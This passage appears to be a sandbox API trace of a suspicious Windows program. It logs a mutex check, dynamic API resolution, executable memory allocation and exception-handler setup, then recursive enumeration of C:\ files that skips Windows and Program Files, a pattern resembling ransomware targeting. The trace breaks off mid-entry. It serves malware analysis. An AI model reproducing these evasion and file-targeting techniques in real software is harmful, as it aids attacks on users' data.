[0115.677] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.677] GetFocus () returned 0x0 [0115.677] Sleep (dwMilliseconds=0x0) [0115.798] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0115.798] GetLastError () returned 0x2 [0115.798] GetLocalTime (in: lpSystemTime=0x34fc68 | out: lpSystemTime=0x34fc68*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x29, wMilliseconds=0x26d)) [0115.798] VarI4FromUI1 (in: bIn=0x1, plOut=0x34fc78 | out: plOut=0x34fc78) returned 0x0 [0115.798] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34faac | out: ProcedureAddress=0x34faac*=0x74e41856) returned 0x0 [0115.798] VirtualAlloc (lpAddress=0x0, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0x70000 [0116.895] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34fae4 | out: ProcedureAddress=0x34fae4*=0x74e41856) returned 0x0 [0116.895] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x40) returned 0x90000 [0116.895] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x34fb54 | out: ProcedureAddress=0x34fb54*=0x74e449d7) returned 0x0 [0116.895] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x34fb54 | out: ProcedureAddress=0x34fb54*=0x74e41826) returned 0x0 [0116.895] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x34fb54 | out: ProcedureAddress=0x34fb54*=0x74e41222) returned 0x0 [0116.895] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34fb54 | out: ProcedureAddress=0x34fb54*=0x74e41856) returned 0x0 [0116.896] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x34fb54 | out: ProcedureAddress=0x34fb54*=0x74e4435f) returned 0x0 [0116.896] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x34fb54 | out: ProcedureAddress=0x34fb54*=0x7704742b) returned 0x0 [0116.896] LdrGetProcedureAddress (in: BaseAddress=0x74e30000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x34fb54 | out: ProcedureAddress=0x34fb54*=0x77045f41) returned 0x0 [0116.896] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x76b00000 [0116.896] GetProcAddress (hModule=0x76b00000, lpProcName="strchr") returned 0x76b0dbeb [0116.896] GetProcAddress (hModule=0x76b00000, lpProcName="free") returned 0x76b09894 [0116.896] GetProcAddress (hModule=0x76b00000, lpProcName="malloc") returned 0x76b09cee [0116.896] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74e30000 [0116.896] GetProcAddress (hModule=0x74e30000, lpProcName="FreeConsole") returned 0x74ee6aa8 [0116.896] GetProcAddress (hModule=0x74e30000, lpProcName="lstrlenW") returned 0x74e41700 [0116.896] GetProcAddress (hModule=0x74e30000, lpProcName="lstrcatW") returned 0x74e6828e [0116.896] GetProcAddress (hModule=0x74e30000, lpProcName="FindFirstFileW") returned 0x74e44435 [0116.896] GetProcAddress (hModule=0x74e30000, lpProcName="lstrcmpW") returned 0x74e45929 [0116.896] GetProcAddress (hModule=0x74e30000, lpProcName="lstrcpyW") returned 0x74e63102 [0116.896] GetProcAddress (hModule=0x74e30000, lpProcName="FindNextFileW") returned 0x74e454ee [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="FindClose") returned 0x74e44442 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="GetModuleHandleA") returned 0x74e41245 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="GetModuleFileNameA") returned 0x74e414b1 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="GetComputerNameA") returned 0x74e5b6e0 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="GetComputerNameExA") returned 0x74ec42ef [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="lstrlenA") returned 0x74e45a4b [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="lstrcmpA") returned 0x74e5eceb [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="GetLastError") returned 0x74e411c0 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="GetProcessHeap") returned 0x74e414e9 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="HeapAlloc") returned 0x76ffe026 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="HeapFree") returned 0x74e414c9 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="SetLastError") returned 0x74e411a9 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="GetCurrentProcess") returned 0x74e41809 [0116.897] GetProcAddress (hModule=0x74e30000, lpProcName="GetCurrentProcessId") returned 0x74e411f8 [0116.897] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75040000 [0116.897] GetProcAddress (hModule=0x75040000, lpProcName="wsprintfA") returned 0x7506ae5f [0116.898] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d90000 [0116.898] GetProcAddress (hModule=0x74d90000, lpProcName="GetUserNameA") returned 0x74dba4b4 [0116.898] lstrcpyW (in: lpString1=0x5b25b8, lpString2="c:\\" | out: lpString1="c:\\") returned="c:\\" [0116.898] lstrlenW (lpString="c:\\") returned 3 [0116.898] lstrcatW (in: lpString1="c:\\", lpString2="*" | out: lpString1="c:\\*") returned="c:\\*" [0116.898] FindFirstFileW (in: lpFileName="c:\\*", lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 0x8256a0 [0116.898] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0116.898] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0116.898] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Windows") returned -1 [0116.898] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Program Files") returned -1 [0116.898] lstrlenW (lpString="c:\\") returned 3 [0116.898] lstrlenW (lpString="$Recycle.Bin") returned 12 [0116.898] lstrcatW (in: lpString1="c:\\", lpString2="$Recycle.Bin" | out: lpString1="c:\\$Recycle.Bin") returned="c:\\$Recycle.Bin" [0116.898] lstrcatW (in: lpString1="c:\\$Recycle.Bin", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\") returned="c:\\$Recycle.Bin\\" [0116.898] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0116.898] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\*") returned="c:\\$Recycle.Bin\\*" [0116.898] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\*", lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0x8256e0 [0116.899] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0116.899] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0116.899] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0116.899] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0116.899] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0116.899] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2=".") returned 1 [0116.899] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="..") returned 1 [0116.899] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0116.899] lstrlenW (lpString="S-1-5-21-2345716840-1148442690-1481144037-1000") returned 46 [0116.899] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="S-1-5-21-2345716840-1148442690-1481144037-1000" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000" [0116.899] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\" [0116.899] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0116.899] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*" [0116.899] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0116.899] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0116.899] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0116.899] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0116.899] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0116.899] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0116.899] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0116.899] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0116.899] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0116.899] lstrlenW (lpString="desktop.ini") returned 11 [0116.899] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0116.899] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned 74 [0116.899] lstrcpyW (in: lpString1=0x5b27c8, lpString2="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0116.899] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0116.900] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0116.900] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0 [0116.900] FindClose (in: hFindFile=0x8256e0 | out: hFindFile=0x8256e0) returned 1 [0116.900] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0116.900] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0116.900] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0116.900] lstrcmpW (lpString1="Boot", lpString2="Windows") returned -1 [0116.900] lstrcmpW (lpString1="Boot", lpString2="Program Files") returned -1 [0116.900] lstrlenW (lpString="c:\\") returned 3 [0116.900] lstrlenW (lpString="Boot") returned 4 [0116.900] lstrcatW (in: lpString1="c:\\", lpString2="Boot" | out: lpString1="c:\\Boot") returned="c:\\Boot" [0116.900] lstrcatW (in: lpString1="c:\\Boot", lpString2="\\" | out: lpString1="c:\\Boot\\") returned="c:\\Boot\\" [0116.900] lstrlenW (lpString="c:\\Boot\\") returned 8 [0116.900] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="*" | out: lpString1="c:\\Boot\\*") returned="c:\\Boot\\*" [0116.900] FindFirstFileW (in: lpFileName="c:\\Boot\\*", lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0x8256e0 [0116.900] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0116.900] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0116.900] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0116.900] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0116.900] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0116.900] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0116.900] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0116.900] lstrlenW (lpString="c:\\Boot\\") returned 8 [0116.900] lstrlenW (lpString="BCD") returned 3 [0116.900] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0116.900] lstrlenW (lpString="c:\\Boot\\BCD") returned 11 [0116.900] lstrcpyW (in: lpString1=0x5b13c0, lpString2="c:\\Boot\\BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0116.900] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0116.900] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0116.900] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0116.900] lstrlenW (lpString="c:\\Boot\\") returned 8 [0116.900] lstrlenW (lpString="BCD.LOG") returned 7 [0116.900] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0116.900] lstrlenW (lpString="c:\\Boot\\BCD.LOG") returned 15 [0116.901] lstrcpyW (in: lpString1=0x5b2868, lpString2="c:\\Boot\\BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0116.901] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0116.901] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0116.901] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0116.901] lstrlenW (lpString="c:\\Boot\\") returned 8 [0116.901] lstrlenW (lpString="BCD.LOG1") returned 8 [0116.901] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0116.901] lstrlenW (lpString="c:\\Boot\\BCD.LOG1") returned 16 [0116.901] lstrcpyW (in: lpString1=0x5b2890, lpString2="c:\\Boot\\BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0116.901] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0116.901] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0116.901] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0116.901] lstrlenW (lpString="c:\\Boot\\") returned 8 [0116.901] lstrlenW (lpString="BCD.LOG2") returned 8 [0116.901] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0116.901] lstrlenW (lpString="c:\\Boot\\BCD.LOG2") returned 16 [0116.901] lstrcpyW (in: lpString1=0x5b28c0, lpString2="c:\\Boot\\BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0116.901] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0116.901] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0116.901] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0116.901] lstrlenW (lpString="c:\\Boot\\") returned 8 [0116.901] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0116.901] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0116.901] lstrlenW (lpString="c:\\Boot\\BOOTSTAT.DAT") returned 20 [0116.901] lstrcpyW (in: lpString1=0x5b28f0, lpString2="c:\\Boot\\BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0116.901] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0116.901] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0116.901] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0116.901] lstrlenW (lpString="c:\\Boot\\") returned 8 [0116.901] lstrlenW (lpString="cs-CZ") returned 5 [0116.901] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="cs-CZ" | out: lpString1="c:\\Boot\\cs-CZ") returned="c:\\Boot\\cs-CZ" [0116.901] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="c:\\Boot\\cs-CZ\\") returned="c:\\Boot\\cs-CZ\\" [0116.901] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0116.901] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="c:\\Boot\\cs-CZ\\*") returned="c:\\Boot\\cs-CZ\\*" [0116.901] FindFirstFileW (in: lpFileName="c:\\Boot\\cs-CZ\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.061] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.061] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.062] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.062] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.062] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0117.062] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0117.062] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0117.062] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0117.062] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0117.062] lstrlenW (lpString="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0117.062] lstrcpyW (in: lpString1=0x5b2928, lpString2="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0117.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.062] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.062] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.062] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0117.062] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0117.062] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.062] lstrlenW (lpString="da-DK") returned 5 [0117.062] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="da-DK" | out: lpString1="c:\\Boot\\da-DK") returned="c:\\Boot\\da-DK" [0117.062] lstrcatW (in: lpString1="c:\\Boot\\da-DK", lpString2="\\" | out: lpString1="c:\\Boot\\da-DK\\") returned="c:\\Boot\\da-DK\\" [0117.062] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0117.062] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="c:\\Boot\\da-DK\\*") returned="c:\\Boot\\da-DK\\*" [0117.062] FindFirstFileW (in: lpFileName="c:\\Boot\\da-DK\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.062] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.062] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.062] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.062] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.062] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0117.063] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0117.063] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0117.063] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0117.063] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0117.063] lstrlenW (lpString="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0117.063] lstrcpyW (in: lpString1=0x5b2970, lpString2="c:\\Boot\\da-DK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0117.063] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.063] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.063] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.063] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0117.063] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0117.063] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.063] lstrlenW (lpString="de-DE") returned 5 [0117.063] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="de-DE" | out: lpString1="c:\\Boot\\de-DE") returned="c:\\Boot\\de-DE" [0117.063] lstrcatW (in: lpString1="c:\\Boot\\de-DE", lpString2="\\" | out: lpString1="c:\\Boot\\de-DE\\") returned="c:\\Boot\\de-DE\\" [0117.063] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0117.063] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="c:\\Boot\\de-DE\\*") returned="c:\\Boot\\de-DE\\*" [0117.063] FindFirstFileW (in: lpFileName="c:\\Boot\\de-DE\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.401] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.401] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.401] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.401] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.401] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.401] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0117.401] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0117.401] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0117.401] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0117.401] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0117.401] lstrlenW (lpString="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0117.401] lstrcpyW (in: lpString1=0x5b29b8, lpString2="c:\\Boot\\de-DE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0117.401] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.401] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.402] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.402] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0117.402] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0117.402] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.402] lstrlenW (lpString="el-GR") returned 5 [0117.402] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="el-GR" | out: lpString1="c:\\Boot\\el-GR") returned="c:\\Boot\\el-GR" [0117.402] lstrcatW (in: lpString1="c:\\Boot\\el-GR", lpString2="\\" | out: lpString1="c:\\Boot\\el-GR\\") returned="c:\\Boot\\el-GR\\" [0117.402] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0117.402] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="c:\\Boot\\el-GR\\*") returned="c:\\Boot\\el-GR\\*" [0117.402] FindFirstFileW (in: lpFileName="c:\\Boot\\el-GR\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.402] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.402] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.402] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.402] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.402] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.402] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0117.402] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0117.402] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0117.403] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0117.403] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0117.403] lstrlenW (lpString="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0117.403] lstrcpyW (in: lpString1=0x5b2a00, lpString2="c:\\Boot\\el-GR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0117.403] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0117.403] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0117.403] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0117.403] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0117.403] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0117.403] lstrlenW (lpString="c:\\Boot\\") returned 8 [0117.403] lstrlenW (lpString="en-US") returned 5 [0117.403] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="en-US" | out: lpString1="c:\\Boot\\en-US") returned="c:\\Boot\\en-US" [0117.403] lstrcatW (in: lpString1="c:\\Boot\\en-US", lpString2="\\" | out: lpString1="c:\\Boot\\en-US\\") returned="c:\\Boot\\en-US\\" [0117.403] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0117.403] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="*" | out: lpString1="c:\\Boot\\en-US\\*") returned="c:\\Boot\\en-US\\*" [0117.403] FindFirstFileW (in: lpFileName="c:\\Boot\\en-US\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0117.522] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0117.522] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0117.522] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0117.522] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.522] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: 